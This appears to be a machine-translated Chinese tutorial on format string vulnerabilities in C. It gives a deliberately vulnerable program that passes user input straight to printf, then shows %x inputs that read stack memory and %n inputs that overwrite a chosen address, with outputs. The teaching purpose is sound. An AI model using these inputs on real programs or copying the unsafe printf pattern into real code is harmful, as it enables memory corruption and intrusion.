您可以通过多种方式直接或间接利用格式字符串漏洞。让我们以以下为例(假设没有相关的操作系统保护,这无论如何都非常罕见):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
此漏洞的基础是具有可变参数的函数的行为。实现处理可变数量参数的函数本质上必须从堆栈中读取它们。如果我们指定一个格式字符串,它将printf()
在堆栈上预期两个整数,并且我们只提供一个参数,那么第二个参数必须是堆栈上的其他值。通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:
从任意内存地址读取
[编辑]重要提示:我在这里对堆栈框架布局做了一些假设。如果您了解漏洞背后的基本前提,您可以忽略它们,并且它们在操作系统、平台、程序和配置方面有所不同。
可以使用%s
格式参数来读取数据。您可以在 中读取原始格式字符串的数据printf(text)
,因此您可以使用它从堆栈中读取任何内容:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
写入任意内存地址
您可以使用%n
格式说明符(几乎)写入任意地址。同样,让我们假设我们上面的易受攻击的程序,让我们尝试更改some_value
位于的 的值0x08049794
,如上所示:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
我们已经覆盖了在遇到说明符some_value
之前写入的字节数( )。我们可以使用格式字符串本身,或者字段宽度来控制这个值:%n
man printf
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
有许多可能性和技巧可供尝试(直接参数访问、大字段宽度使环绕成为可能、构建您自己的基元),而这只是冰山一角。我建议阅读更多关于 fmt 字符串漏洞的文章(Phrack 有一些非常优秀的文章,尽管它们可能有点高级)或涉及该主题的书。
免责声明:示例摘自Jon Erickson的《黑客:剥削的艺术》(第 2 版)一书 [尽管不是逐字记录]。